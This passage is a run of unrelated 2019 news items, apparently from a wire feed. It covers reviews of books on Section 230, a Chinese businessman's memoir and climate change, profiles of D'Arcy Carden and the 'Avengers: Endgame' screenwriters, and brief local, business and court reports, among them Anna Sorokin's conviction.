family photos, pet videos, unsolicited opinions, and stories of successes and setbacks. But lately that mirror has tended to distort and magnify, as the internet has become host to a flood of misinformation, hate speech, conspiracies, nefarious foreign meddling and even terrorist propaganda. For the internet we have today, Jeff Kosseff writes in "The 26 Words That Created the Internet," we can thank Section 230 of the Communications Decency Act of 1996, which protects platforms such as Facebook, Twitter and YouTube from legal liability for material posted on their sites by third parties. Kosseff argues that these companies, whose business models depend on user content, wouldn't have prospered, and may not even have existed, had they been afraid of being sued whenever anyone posted something defamatory on their platforms. The decency act, part of a larger telecommunications overhaul that year, received a lot of media attention because it sought to criminalize transmission of indecent material online (hence the legislation's name). The Supreme Court struck down that element on First Amendment grounds in 1997. Section 230, though, remains not only standing but, as Kosseff documents in detail, has been strengthened by years of court decisions upholding the liability shield, even in lawsuits brought by people whose careers, businesses and lives were ruined by what someone posted about them on the web. Kosseff's book is timely, given the intensifying debate about whether Congress should find ways to hold internet companies accountable for third-party speech that harms individuals and society as a whole. But the book's value goes beyond timing. The author's background as a journalist and his current roles as a professor and a lawyer enable him to produce an engaging narrative that explains the law clearly and compels us to think about speech in the modern age and who is responsible when it is harmful. As Kosseff tells it, not all lawmakers in those early days were clueless about the future of the internet. In describing the origins of Section 230, he details the work of its creators: then-Reps. Chris Cox (R-Calif.) and Ron Wyden (D-Ore.), who now serves in the Senate. A pair of court cases that influenced the lawmakers' thinking gave internet companies an incentive not to moderate users' speech - if they did, they would be treated like publishers who could be held responsible for their content. That perverse incentive, along with the lawmakers' desire to nurture an emerging industry, led Cox and Wyden to include a "Good Samaritan" provision that said the platforms would not be treated as a publisher or speaker for policing third-party content. It was an implicit bargain that to this day Wyden characterizes as a shield and a sword: The companies get the shield of immunity but aren't punished if they use the sword. Today, it's not clear that tech companies have held up their end of the deal. For one thing, the bargain in Section 230 was implicit, and companies tend to read laws literally. For another, the players have changed since then. As Kosseff points out, Facebook chief executive Mark Zuckerberg was 11 years old when the legislation was written in 1995. The main internet companies back then were Prodigy, CompuServe and America Online. Today's giant companies have been taking action to suppress damaging content - such as blocking misleading anti-vaccination posts and removing accounts that promote white nationalism - but there is a growing consensus that they are not doing enough, and lawmakers are watching. To use Wyden's metaphor, Congress could weaken the shield if the platforms don't wield their sword more aggressively. Other countries, including the United Kingdom, have proposed or initiated crackdowns on the companies for damaging content posted by third parties. Such an effort in the United States, though, would trigger a fierce debate given the nation's historic preference for free speech, a characteristic Kosseff describes as American exceptionalism. It's no coincidence, he argues, that the United States is home to many of the big companies that rely on user-generated content. The Section 230 question is also starting to collide with a larger debate about whether the companies hold too much power in society and in the economy. Some conservatives such as Sen. Josh Hawley (R-Mo.) have accused the tech companies of amplifying liberal voices and suppressing conservative ones, implying that Section 230's protections might be in jeopardy. House Speaker Nancy Pelosi (D-Calif.) told Recode recently that Section 230 was a "gift" to the companies and that its removal is "not out of the question." Kosseff thinks the law could be adjusted in some places but, like many internet law scholars, he says an outright repeal would be overkill. His book includes a persuasive argument that the user-generated internet enabled by Section 230 gives oppressed groups a voice and the ability to organize. He cites the #MeToo movement as an example. To get it right, lawmakers will need to assess as best they can how the internet will evolve, the same problem they struggled with in the 1990s. Even Wyden acknowledged to Kosseff that although he knew that Section 230 was going to be important, he "never thought that its reach would be this dramatic." Nor could he possibly have foreseen platforms whose algorithms would help surface and amplify conspiracies, fake images and news stories, and even violence online, creating the distorted-mirror effect that is so prevalent and troubling today. Now something needs to change, whether it is the law or the companies' behavior. Section 230 may have created the mirror of society that the internet represents. But the tech companies now hold it in their hands, which means they may want to move more aggressively to remove its distortions - before the government tries to do it for them. --- Benkelman is director of accountability journalism at the American Press Institute. Out of the Gobi: My Story of China and America By Weijian Shan Wiley. 465 pp. $29.95 --- Over the past three decades, as China's growing economy has shaken the world, there has not been a single credible memoir by a Chinese insider who played at the nexus of the nation's business and political elites. Purged Chinese Communist Party secretary Zhao Ziyang's memoir provided some insight, but by the time it was published in 2009, Zhao had been dead for four years and the events detailed in the book had occurred decades earlier. Li Zhisui's "The Private Life of Chairman Mao" provided an illuminating portrait of China's founder, Chairman Mao Zedong, when it was published in 1994, but Mao had died in 1976. Perhaps the sole memoir that exposes the recent inner workings of the Communist Party is former Treasury secretary Henry Paulson's 2015 book, "Dealing With China." But Paulson isn't Chinese. Part of the reason is, of course, the Chinese system, which ruthlessly punishes people who speak out of school. The Chinese Communist Party has effectively legislated against memoir-writing. In December 2012, in the first meeting after the rise of Xi Jinping, its current party boss, the party's Central Committee issued eight regulations, which within the party have the force of law. The seventh regulation ordered leading Chinese not to "publish any works by themselves" and directed censors to pay close attention to any writings about the work of senior Chinese officials. Other factors militate against an honest memoir. For one, given the corruption inherent in doing business in China, why would anyone who has risen on China's rise divulge the truth about it? Isn't getting rich enough? And if that weren't sufficient deterrence, prospective authors only have to look at the fate of five Hong Kong booksellers who were abducted by Chinese security forces in 2015 for the "crime" of publishing stories promising an inside look at the Chinese Communist Party. The market in the West also bears some responsibility. Over the past several decades, books written by Chinese writers from China that are translated into English generally have followed a timeworn path. A lone person or a family struggles against an ominously exotic backdrop populated by Red Guards, famines and the Chinese gulag. Ultimately, freedom is achieved by immigrating to the West. Then the story ends. Jung Chang's 1991 best-seller, "Wild Swans," perfected the pattern but it was also employed successfully by longtime D.C. resident Nien Cheng in her "Life and Death in Shanghai" in 1987 and Wu Ningkun in his 1993 memoir, "A Single Tear." This combination of Chinese repression and secretiveness and writers' fears have made it difficult for one to garner a Chinese insider's impression of how China has changed. As a result, it has been left to Westerners to interpret the nation for the rest of the world. In recent years, books by journalists such as Richard McGregor's "The Party" and Evan Osnos' "The Age of Ambition" have led the way. In January, Wiley published the memoirs of a prominent Chinese businessman, Weijian Shan. Shan's book, "Out of the Gobi: My Story of China and America," is a beautifully written story charting his naive embrace of Maoist politics, his inevitable disaffection with Maoist ideology, the subsequent desperation with which he pursued any avenue out China to the United States. Shan does a wonderful job of taking the reader back in time. He describes the fervor with which he and his classmates loved Chairman Mao and the inexorable onset of alienation as he realized that Mao's directives were destined for failure and that the Communism practiced in China was nothing but a cruel joke. What's more, Shan's measured tone - this is not a polemic by any means - makes the story more powerful. At the end of the book, he devotes a few pages to his life in the United States. He vividly describes the America he embraced in the early 1980s, rocketing through the University of California at Berkeley, earning a master's degree and a doctorate. Then the story stops. For someone who is fresh to China, Shan's book is a fine introduction to the country. But for someone who is aware of the pattern of past writing by Chinese about their lives, the memoir feels a little old. The main issue is that, in Shan's case, his life did not stop when he left China and then graduated from Berkeley. In fact, it became more interesting. Early in his career as an investment banker, Shan participated in a huge deal involving the Shenzhen Development Bank that put him in touch with the highest levels of the Chinese government and with American investors such as Richard Blum, the husband of Sen. Dianne Feinstein (D-Calif.). Later, Shan served as JPMorgan Chase's chief China rep and co-managing partner of Newbridge Capital. As a senior partner at TPG Capital, he oversaw its Asia transactions. He has served on the boards of a major state-owned Chinese steel company, Baosteel, one of China's biggest banks, Bank of China, and the computer manufacturing giant Lenovo. But none of this is in the book. What happened over the course of Shan's career has been as fascinating as the far safer rags-to-riches tale he recounts in his book. During this time, China joined the World Trade Organization and morphed from an economic backwater into a global power. Deals Shan and others made in and around China facilitated this rise. What was he thinking while this was unfolding? Who profited and who lost? How did corruption work? Did Shan assume, like many at the time, that China was going to evolve in a more open direction? What does Shan think of China now? We can only guess because he doesn't tell this story. At the end of his book, Shan hints that he may write another book. "How I got into playing high-stakes money games," he says, "is perhaps another story worth telling." And there is word that he is completing two additional manuscripts focusing on his life as a dealmaker. I sincerely hope he writes these two books with the same honesty with which he has approached his early life. But I also worry about the risks to him and his family. There's a reason no leading Chinese executive or politician has shared his or her perspective on China's rise. The story is almost too good - and definitely too dangerous - to tell. --- Pomfret is a contributing writer to The Washington Post's Global Opinions and the author of "The Beautiful Country and the Middle Kingdom: America and China, From 1776 to the Present." LOS ANGELES - What is Janet? At first, "The Good Place" creator Mike Schur thought his show set in the afterlife needed some sort of "centralized information database." In heaven, the answers to all your eternal inquiries should await you, whether it was who killed JFK or did Allison from the fourth grade have a crush on me? The original idea was for this information to all be available on a kiosk, but Schur realized it would be exponentially more fun if there was an actual person delivering these details. Or at least something that appeared to be a person, but really was this uncanny valley creature: not a girl, not yet a robot. A Janet. To keep the details of the spoiler-sensitive series under wraps, aspiring Janets auditioned with a dummy scene, playing a customer service representative for a company that made defective dolls. "We auditioned a million people," Schur said, "ranging from 13-year-old boys all the way to 75-year-old women and everything in between." Now, Schur thinks back on casting Janet like that apocryphal story about how Michelangelo carved the David: by cutting away all the marble that wasn't David. Once they cut away all the Janets that weren't Janet, they had D'Arcy Carden. Carden was 36 then, still struggling to ascend from improv comedy at Upright Citizens Brigade to landing paying jobs as an actress, which was kind of the whole point of all that improvising. Aside from a few commercials and a small role on "Broad City," Carden was getting nowhere. She loved doing improv but was starting to feel like she'd spent a decade and a half training for an opportunity that was just not out there, hustling for a future that would never materialize. Confident she would not be cast as Janet, Carden went into the room just hoping to make Schur laugh. It was clear to him from the jump that Carden was perfect for the role. "I feel like I know what Janet is now," he remembers thinking. "But I know it because of D'Arcy, not because of me." While waiting to hear about "The Good Place," Carden auditioned for a spot on another upcoming show, a dark HBO comedy called "Barry." She read for Natalie, a sycophantic acting student whose desperation was not entirely unfamiliar to her. "Barry's" star and co-creator was "Saturday Night Live" alum Bill Hader, with whom Carden was so close - she'd nannied for his kids for years - that she almost took herself out of the running. She figured she wouldn't get cast and wanted to save her friend that awkward "we're going in a different direction" phone call. Hader finds Carden's hesitation, which he was unaware of at the time, hilarious. "She probably doesn't know this, but I just wanted to give her the job," he said. "That whole part was created for her. The part was probably in the original script as 'D'Arcy' and we had to change it to Natalie." Within a month, she landed both roles. Now the 39-year-old Carden stars on two of the most critically acclaimed comedies on television. And Janet, a character Carden initially feared might not be dynamic and interesting, has emerged as the uncontested fan favorite in a stacked cast, a hilarious, genuinely odd and undefinable being made real by Carden's bright, perfectly calibrated performance. She's worried about sounding "cheesy" or "like I'm bragging" when discussing her good fortune, but if she's being honest, she has to admit it: "Yes, I am totally living my dream." Carden knew she wanted to be an actress from the time she was a kid. She wrung laughs from a couple of onstage mishaps during childhood performances and could tell she'd found her calling. After studying theater at Southern Oregon University, she moved to New York City, got a lousy agent who frequently forgot she existed and started taking classes at UCB. She's recounting her early days while moseying around the Grammy Museum in Los Angeles, and turns out she's a pretty perfect companion. There's the extremely famous photo of Johnny Cash giving the camera the finger at San Quentin Prison, which happened to be taken by one of her dad's best friends, Jim Marshall. "Jim has taken a bunch of iconic pictures, but I think in this one, Jim was just being annoying to Johnny, and he just flipped him off," Carden says. In an exhibition where visitors can get behind a drum kit, Carden briefly showed off the skills she picked up for the briefest of cutaway scenes in "The Good Place." "I took a really long drum lesson, and Ted [Danson, her co-star] took a really long bass lesson," she says. "And both of us really took to it and said we are going to buy drums and bass and take lessons. I don't think Ted did it. I didn't, either. But I have kept in touch with my drum teacher! She's rad." While devoting herself to improv, Carden said she went on a million weird auditions where the person auditioning her would call her "honey." She estimates she booked two or three commercials the entire time she was in New York. She lived in unlivable apartments - an illegal sublet crammed with the real tenants' belongings; an attic room with no insulation. To afford such swanky accommodations, Carden nannied, which she loved, and temped, which she did not love. One day she'd "be a receptionist with a bunch of Wall Street dudes being terrible," the next she'd go to some "soul-sucking" office wearing a god-awful pantsuit from Burlington Coat Factory. She did time as a guide on a New York City tour bus. "One of those jobs where you can tell yourself, 'I'm acting!' " she says. "But you are so not." Her 20s crept into her 30s. She was subsisting off snacks stolen from offices, parsimoniously portioned leftovers and late-night pizza slices. "That was a rough few years, when I was doing dirty comedy in the basement of the UCB theater and (my friends) were getting married and having babies," she says. "I'd be getting wedding invites in the mail and going, 'Cool! Can't afford the flight. The idea of getting a hotel is truly hilarious.' " "Those are the type of moments where you're like: I missed it. I'm not a real adult," Carden says. "I missed my opportunity to be a successful human being." All around her, UCB classmates were leveling up. One day Carden was smoking clove cigarettes with a dejected, unemployed Aubrey Plaza; the next, Plaza was moving to L.A. to do a Judd Apatow movie and "Parks and Recreation." Then her friends Abbi Jacobson and Ilana Glazer had their web series "Broad City" picked up by Comedy Central. Carden thinks of those two as her "little guardian angels": After casting Carden in a part that was cut from the pilot, they recast her as Gemma, a trainer at Abbi's gym. "Even though I wasn't in the show very much," Carden says, "it changed my career." "She was always someone we loved and were in awe by comedically," Jacobson said. "She's just a genius." "I really feel like she was as good then as she is today, because she's always appeared so comfortable in her skin," Glazer said. "It was like she was born onstage or something. She was just so talented." Hader, who was still on "SNL" when Carden was nannying his kids, didn't realize how funny Carden was until they did a live comedy show together, along with Amy Poehler, Seth Meyers and Zach Woods. Carden, he said, was the funniest of that star-studded group. "I remember we were in L.A. as a family and she was staying with us watching our kids," Hader said. "I had this audition and she was like, 'I can read with you if you want.' ... And she was so good! She was really good. I remember being like, 'D'Arcy is a good actress! Why are you nannying for us?' I just remember thinking, God, she's so good. She just needs a break." That everyone who came into contact with Carden seemed to recognize that she was an undeniable comedic talent and that it still took almost 20 years for Carden to be rewarded in the traditional fashion - by, say, casting her as a regular on a television show - is one of those showbiz absurdities that Carden's peers cannot explain. "I think part of it is, she's a strong, smart woman, and I feel like the world has been rising to meet D'Arcy," Glazer said. "Even though she did struggle and hang in there for many years, it kind of has to be the right time. ... She's been training for this. She's been ready for this moment." When Hader sees audiences appreciating Carden's success, "I start beaming like a proud parent. It makes me so happy, because she deserves it. She took no shortcuts." "I have this wonderful feeling of, this is a person who deserves her success," Schur said of Carden. "A thing that can make you crazy in Hollywood is there are millions of people out here who seem to get things they don't deserve. That's not even Hollywood; that's America. But she's just such a good human being. And it makes me so happy that she gets to do this thing she loves, because not for one second do you feel like she doesn't deserve it." It may have taken Carden a long time to find her perfect role, but Janet makes up for lost time since the role is like 1,000 in one. Each region of the afterlife has a different Janet, all of whom are played by Carden. There's Neutral Janet (beige, monotone, works in accounting), Bad Janet (blond, rude) and Good Janet. Good Janet is like Joan Holloway, but for the universe: an unflappable, all-knowing presence who seems at first like an overqualified assistant but reveals herself to be the one without whom all operations would cease to function. (Plus everybody has a crush on her.) Because she knows literally everything, she is almost constantly correcting people; somehow, this is never obnoxious. Under duress, she might projectile-vomit pennies or burp up a live frog. At rest, she holds her hands in front of her with her right thumb wrapped inside her left fist, like a plug finding its outlet. She is always smiling just a little bit. Many of these qualities came not from Schur but from Carden, whose intuitive grasp of what makes Janet Janet reminds Schur of how Steve Carrell understood Michael Scott on "The Office," where Schur was a writer. "I remember thinking, Steve Carrell is fluent in Michael Scott. We could design any scenario and he would have this perfect compass for how Michael would behave," Schur said. "And it's clear to me that D'Arcy is fluent in Janet. ... Her instincts and her natural abilities to act as Janet in (any) situation are effortless and they come to her right away." It's not just with Janet. For the full Carden experience, just watch Season 3's "Janet(s)": Carden played Good Janet, Neutral Janet and all four of her castmates' human characters, each of whom took on the physical appearance of Janet while hiding out in her void (it's a long story). "D'Arcy is an unbelievable improvisational actor, and she has incredible range," Schur said. "It was like: We should turn her loose." To watch Carden play six characters in just one episode is to see 20 years of training compressed into 22 minutes of unassailable technique. "If this had come my way 10 years ago, it would have been a different story," she says. But after spending "zillions of hours" training at UCB, when "The Good Place" and "Barry" came along, "I didn't feel unprepared. It was this great feeling of: I've got this." "She's popping off so hard because she's been training for this," Glazer said. "She's been ready for this moment. It's going to get orders of magnitude bigger than this. This is just the beginning for D'Arcy." "I think the moment in my life when it came along was really correct for my life," Carden says. "I really felt so aware that, 'This doesn't happen, and it doesn't happen to you.' And it finally did." Falter: Has the Human Game Begun to Play Itself Out? By Bill McKibben Henry Holt. 291 pp. $28 --- There's a Hasidic story I often think of in relation to climate change. It describes how, in the world to come, "everything will be as it is now, just a little different." It's tempting to take comfort in the idea that although things are a little different - fires burning harder, floods reaching deeper, seasons bleeding over - they are also, mostly, the same. In the grand scheme of life, incremental variations seem to dissolve into the norm. The problem is, as author and environmentalist Bill McKibben wrote 30 years ago, this is a grand delusion. His book "The End of Nature" - among the first to alert the public to climate change - tried to dispel the persistent notion that time is lumberingly vast, that the future will be "just a little different." Scale the Earth's billions of years of life to a 24-hour day, and human civilization represents about one-fifth of a second. And yet, we've managed to fundamentally redraw the planet. "The End of Nature" was a brooding tangle of science and philosophy, lamenting the loss of something sacred: that nature is a force independent from use, greater than us. Not anymore, McKibben argued - we'd put our fingers all over it. We were "decreating" nature, and in so doing, stripping our lives of meaning. Since then, McKibben has become one of the nation's foremost environmental chroniclers, founded the grass-roots climate movement 350.org and seen nearly all his worst fears about climate change come true. So his latest book, "Falter: Has the Human Game Begun to Play Itself Out?," wastes no time. It's a direct, attention-grabbing sprint through what we've done to the planet and ourselves, why we haven't stopped it and what we can do about it. Determined to keep the words "climate change" from fading into our "mental furniture," he has gathered the most vivid statistics, distilled history to its juiciest turns, and made the case as urgently and clearly as can be: The whole breadth of our existence - the "human game" - is in jeopardy. Climate change "should fill us with awe; it's by far the biggest thing humans have done," he writes, and the book evinces that. The heat we've trapped equals four Hiroshima-size bombs dropped every second. We've sparked fires that, according to an Australian researcher, "cannot be controlled by any suppression resources that we have available anywhere in the world." Seas will rise several meters in the next 50 to 150 years, rendering coastal cities "practically ungovernable." Reading this accrual of effects is like stepping back from a painting's abstract swirl and seeing a fully formed world. As a California fire victim said, "No one will be spared." After instilling sufficient terror, McKibben cycles briskly through the intersecting forces that lie behind decades of inaction. Among them: Exxon's deliberate efforts to mislead the public about fossil fuel emissions, and Ayn Rand's pervasive influence on the most powerful people of the past several decades, including President Ronald Reagan and the Koch brothers. Randian ideology, which McKibben sums up as "Government is bad. Selfishness is good. ... (BEGIN ITAL)You're not the boss of me(END ITAL)." precludes the possibility of tackling climate change, because that would require the government to flex its strength. In the words of a Koch-funded economist: "The best policy regarding global warming is to neglect it." Then, the book takes a sharp turn toward other threats to the human game: artificial intelligence with the power to usurp us, and gene editing to customize our offspring. "When we engineer and design, we turn people into a form of technology, and obsolescence is an utterly predictable feature of every technology we've ever seen," McKibben warns. His engagement with these technologies is somewhat panicky; indeed, their risks are so obvious that a regulation debate is emerging alongside them. But there's a twisted poetry to the concept that rather than safeguarding our future, we're pursuing innovations that will hasten our demise. Meanwhile, where climate change and artificial intelligence and gene editing converge is inequality - all three will exacerbate it, rendering most of us increasingly vulnerable and ill-equipped to cope. A recent New Yorker cartoon depicts an interviewer asking his guest, "And finally, where do you see yourself in five years?" In a thought bubble, the interviewee imagines himself paddling through a flooded Manhattan on a scrap of wood, the Empire State Building peeking up above the waterline. It's grimly funny, but it also seems to capture a new kind of resignation. Among the environmentally aware, a sense of engagement - even if driven by frustration, not optimism - seems to be shifting toward cynical despair. The numbers only stoke this: The International Energy Agency reported a record high for global greenhouse gas emissions in 2018, with energy efficiency increasingly ignored. The "we're doomed, the end" mind-set even touches purported solutions. McKibben describes Oxford bioethicist Julian Savulescu's depressingly absurd conclusion that humans are too morally stunted to fix climate change. So: "The only way to solve global warming before it destroys our planet is to genetically alter human beings so that they become more altruistic and willing to make more sacrifice for the common good." McKibben has no patience for this. "Knowing cynicism is no threat to the Exxons of the world - it's a gift," he writes. Having harnessed "usefully naive outrage" to help divest trillions of dollars from fossil fuels, he believes we're not "grossly defective," but rather, "capable of acting together to do remarkable things." So in the final, and most illuminating, section of "Falter," he narrows those remarkable things down to two elements. The first is the solar panel - a "technology of (BEGIN ITAL)repair(END ITAL)" to heal the atmosphere and mitigate inequality heightened by profit-hungry energy companies. McKibben visits social entrepreneurs in rural Africa who are leapfrogging from powerlessness to solar, reportage that feels a bit too credulous for such a sober book. You can't help but cringe at the imbalance - village grids against the Koch brothers' billions? To replace fossil fuels, the United States would have to build about a dozen wind and solar plants per state, which sounds daunting. But such mobilization has happened before, McKibben says: During World War II, bombers, tanks, guns, cannons and engines were cranked out from factories nationwide in mere months. "If ... we did something like that again, in the name of stopping climate change instead of fascism," he writes, "we wouldn't have to kill a soul." McKibben's second tool is nonviolence. "If we are to build the political will to deploy renewable energy fast enough, we'll need a bulldozer for reshaping the zeitgeist. That's the job of movements." Cue the cynics, but again, he reminds us that we've done it before: In 1970, a 10th of the population demonstrated against smog-choked cities and burning rivers, forcing President Richard Nixon to act. And today, millions of students striking against climate change, and proposals such as the Green New Deal - a comprehensive plan to reorient the economy around clean energy - are bold indications that we aren't done yet. Despite the book's bleakness, its most stirring takeaway is perhaps McKibben's soulful insistence that choices remain. We are the only creatures, he asserts, who can impose limits on themselves. "We can wreck the Earth as we've known it, killing vast numbers of ourselves and wiping out entire swaths of other life. ... But we can also (BEGIN ITAL)not(END ITAL) do that." It recalls a fable frequently invoked to explain inaction on climate change. Drop a frog into a pot of boiling water, and it will immediately hop out. But place it in slowly warming water, and it will be cooked to death. However, this is a myth. The frog would actually jump out and save itself. Maybe we can, too. --- Sharma writes about culture and the environment. For "Avengers: Endgame," the blockbuster capstone to more than a decade of Marvel Studios movies, Christopher Markus and Stephen McFeely scripted the narrative threads for scores of superheroes - a feat of story orchestration that requires an intimate understanding of a chorus of characters. Yet even after writing for everyone from Iron Man to Captain Marvel, the screenwriting duo remains true to the focus of their first Marvel cinematic project: Captain America. It was about a decade ago when Markus and McFeely began writing "Captain America: The First Avenger," which dramatized how undersize Steve Rogers became a World War II super-soldier, thanks to grit, moxie and the Army's experiment with "super serum." The writing team embraced adapting the star-spangled hero, who was created by another creative duo - Joe Simon and Jack Kirby - shortly before U.S. involvement in World War II. Across five films, Markus and McFeely constructed intriguing moral conflicts for Cap, the throwback, cynical-free character who is the Avengers' straightest arrow. "He is steadfast where society is very gray and very mutable," Markus says. "And so the fascination has always been: How hard is it to stand up for these things he believes in - in the face of reality? Reality is a pretty tough thing to stand literally against." Markus says such fiercely "good" types in cinematic history fascinate him: Characters such as Atticus Finch in "To Kill a Mockingbird" or Eliot Ness in "The Untouchables." McFeely shares that sensibility. "Chris and I figured early on with Cap that we would be betraying his character if we made him anything other than a forthright, stand-up character," he says. The screenwriters wrote Steve Rogers as a hero who increasingly influences other people across his long arc. "He changes a lot of minds in the first movie," McFeely says. Then in the first sequel, "The Winter Soldier," "it gets even more obvious that he's changing the world around him." With "Endgame," the screenwriters found Cap - as played throughout his MCU run by Chris Evans - to be the most compelling character to script. The new film, which officially opens Friday, has added poignancy because Evans has said it is his final Avengers movie. "He's never come up against the kind of defeat as he did at the end of 'Infinity War,' " says Markus, referring to last year's "Avengers" cliffhanger that set up the cataclysmic events of "Endgame." "It's pretty gratifying and fascinating to see him grapple with that," he continues. "And to see that with the four preceding films that we've done on him - that everything he's done has led to this: sitting in the dirt saying, 'What have I done?' What does he do with that?" Markus and McFeely had no idea when they met in the mid-1990s, in a graduate writing program at the University of California at Davis, that their future would be in adapting classic superhero comics. While some classmates focused on completing their novels and short stories, they decided to give Hollywood a try. "About halfway through that first (school) year, it came upon us that: Oh, you can write for Hollywood and get paid money," McFeely says. So they made themselves a promise: If their Hollywood writing careers gained no traction by the time they turned 30, they would shake hands and go lead other lives. In 2004, though, they did Emmy-winning work for "The Life and Death of Peter Sellers," then landed work writing for the "Chronicles of Narnia" film franchise - which led them to getting hired to write for Marvel Studios, as guided by its architect/president Kevin Feige. Markus and McFeely have worked on their past four Avengers-universe movies with sibling directors Anthony and Joe Russo. Praising the creative culture surrounding the films, the screenwriters say they appreciated the democratic approach: The best idea wins. "They're incredibly collaborative - it's not a dictatorial relationship in any way," Markus says of the directors. "There's two of us and two of them, and it becomes a democratic roundtable way of creating." Then there is the special perch of getting to write works that are embraced, scrutinized and deconstructed by millions of fans the globe over. The screenwriters relish these unusual opportunities to be under the pop-culture microscope. Says Markus: "To have that many eyeballs - even if they're getting ready to tell you that they don't like what you've done - is incredibly rare." Houstonians that regularly visit Galveston are probably familiar with the island's diverse homes. From vibrantly painted, pastel pink and blue houses to inverted steel-domed residences that have become icons for the island, Galveston's homes are anything but ordinary. But just 25 minutes from the Strand, a bayside village of homes offers an even more unique take on coastal living. Formerly known as Flamingo Isles, the HarborWalk community in Hitchcock consists of custom-built waterfront mansions that boast stunning views of the Gulf of Mexico from nearly every room. April was a busy month for the Katy Area Retired Educators, with a trip to Austin and the handing out of scholarships to Katy ISD seniors. To kick off the month, KARE members traveled to Austin during the week of April 1-5 to attend the Texas Retired Teachers Association (TRTA) convention and were recognized during the Texas Retired Week at the State Capital. Then, on April 10, KARE held its monthly meeting and presented scholarships to graduating Katy ISD Seniors, who are entering college in the fall as education majors and are planning to become public school teachers. Many of them have hopes of returning to Katy ISD to teach. The keynote speaker was Kourtney Waggoner, KAREs first scholarship recipient. Only one scholarship was given the first year they were given out, and this year the group was able to give eight scholarships with each recipient receiving $1,200 due to the efforts of KARE. KAREs next meeting will be held on May 8 and will feature guest speaker Yvonne Kershner from Brazos Valley Schools Credit Union. All public school employees who retired under the Teacher Retirement System are welcome to attend and bring a retired educator, friend or neighbor who is not a current member. KARE represents anyone who has worked in a school district and retired through TRS. This includes all employees from custodian to superintendent. Others interested in supporting the goals of the Texas Retired Teachers Association are welcome to join as associate members. Reservations are required. Call Lee Ann Nuckles at 832-594-7533. KARE meetings are held at 11:30 a.m. at the Leonard E. Merrell Center, Room 144, located at the West Entrance. For more information about the Katy Area Retired Educators visit www.localunits.org/KARE. China Aviation Daily | Apr. 26, 2019 The Mexican company Craft Avia Center in cooperation with the Russian Helicopters holding company (part of Rostec State Corporation) is planning to open a technical maintenance center for Ansat type civilian helicopters in the city of Guadalajara. "The creation of a maintenance center for Ansat type helicopters in the Mexican city of Guadalajara is in active stage. The project is being implemented by Craft Avia Center in close cooperation with Russian Helicopters. The center will start its operation in 2020", said the Deputy Director General for Aftersales Services of Russian Helicopters, Igor Chechikov. Representatives of the holding held corresponding negotiations with their Mexican partners during the third international aerospace show FAMEX 2019, held in the Santa Lucia air base close to Mexico's capital. With the support of Russian Helicopters, the center will be equipped with the required documentation and technology. Training of Mexican technical service engineers is also planned. The first Ansat helicopter will be delivered to Mexico for Craft Avia Center in 2019. "We have long and successful relations of cooperation in the field of helicopter construction with our Mexican partners. Around 50 Russian-made Mi-17 type helicopters are successfully operated here. Rostec is focused on both strengthening our cooperation with Mexico and developing long-term relations with the whole region of Latin America. Creating the maintenance center for Russian Ansat helicopter is a significant step forwards in this path", pointed out Viktor Kladov, Director for International Cooperation and Regional Policy of Rostec. He added: "I'm confident that the maintenance center will both strengthen and expand our cooperation in the field of aviation, as well as make the light Ansat helicopter more attractive to potential customers in both Mexico and Latin America in general". During 2014-2015, Russian Helicopters conducted successful overhauls of 19 helicopters operated by the Mexican Secretariat of National Defense. Currently the company is providing comprehensive after-sales support maintaining the whole fleet of Mi-17 helicopters operated in the territory of Mexico. The light multi-purpose helicopter Ansat, which has the largest cabin within its class, is actively used by the Russian air medical services. This twin-engine helicopter has compact size and does not require a large landing area. It can also be used for normal passenger and VIP transport, cargo delivery and environmental monitoring. Ansat has been successfully tested for high-altitude operations, confirming that it can be used in mountainous areas with altitudes up to 3,500 meters. The multi-purpose helicopter Mi-17-1V is one of the modifications of the Mi-17 type, designed by the Mil Moscow Helicopter Plant, a subsidiary of the Russian Helicopters holding company. Good performance characteristics, ease of operation and reliability have made these helicopters popular throughout the world. Mi-17-1V has a top speed of 250 km/h and maximum flight range of over 600 kilometers. It can carry up to 37 paratroopers. The civilian variant is widely used for cargo and passenger transport, firefighting and rescue operations. The international aerospace show FAMEX takes place in Mexico once every two years. Russian Helicopters is a regular participant of the exhibition. Contributed by JSC Russian Helicopters The mother of Heather Heyer, the Charlottesville, Virginia, woman killed during the 2017 protests there, said Friday that former Vice President Joe Biden called hours after invoking her daughter in the video announcing his presidential campaign launch. Biden kicked off his third run for the White House with a strongly worded condemnation of the self-proclaimed white supremacists who marched in Charlottesville, describing "their crazed faces illuminated by torches, veins bulging, and bearing the fangs of racism. Chanting the same anti-Semitic bile heard across Europe in the '30s." He added, "And they were met by a courageous group of Americans, and a violent clash ensued, and a brave young woman lost her life." Susan Bro, the mother of Heyer, who was killed when a self-proclaimed white supremacist drove his car into the crowd, said Biden called her later in the afternoon Thursday. Before that, Bro had told the Daily Beast that she wasn't surprised Biden mentioned Heyer without alerting her first. "Most people do that sort of thing," she said. "They capitalize on whatever situation is handy. He didn't reach out to me, and didn't mention her by name specifically, and he probably knew we don't endorse candidates." Biden called around 4:30 p.m., Bro said during a Friday morning appearance on CNN, and told her he didn't reach out initially because he didn't know how that would make her feel. "I said, 'yes,' I noticed you didn't mention her name because you hadn't contacted me. So, we acknowledged that much," Bro said. Bro said that for most of the call they spoke about bereavement, a subject Biden is intimately familiar with after losing his first wife and daughter in a car accident and more recently his son to cancer. She said Biden called her because she said rumors were circulating that his video had "devastated and traumatized" her, which it hadn't. But she told him that it was likely so for other people in Charlottesville to have those images "thrown up at them on the screen." New York A New York jury on Thursday convicted an extravagant socialite who bankrolled an implausibly lavish lifestyle with tens of thousands of dollars she swindled from banks, hotels and friends who believed she was a wealthy German heiress. The Manhattan jury found Anna Sorokin guilty of four counts of theft of services, three counts of grand larceny and one count of attempted grand larceny following a monthlong trial that attracted international attention. She was acquitted of one count of grand larceny and one count of attempted grand larceny. Her defense attorney, Todd Spodek, said Sorokin could face between five and 15 years in prison on the most serious charge. She is scheduled to be sentenced May 9. Sorokin also faces deportation to Germany because authorities say she overstayed her visa. Using the name Anna Delvey, Sorokin deceived friends and financial institutions into believing she had a fortune of about $67 million overseas that would cover her high-end clothing, luxury hotel stays and trans-Atlantic travel. She claimed her father was a diplomat or an oil baron and went to extraordinary lengths to have others pay her way. Prosecutors alleged that she promised one friend an all-expenses paid trip to Morocco but then stuck her with the $62,000 bill Sorokin was acquitted of that charge. She also was accused of forging financial records in an application for a $22 million loan to fund a private arts club she wanted to build, complete with exhibitions, installations and pop-up shops, prosecutors said. She was denied the loan but persuaded one bank to lend her $100,000 she failed to repay. Spodek insisted that Sorokin planned to settle her six-figure debts and 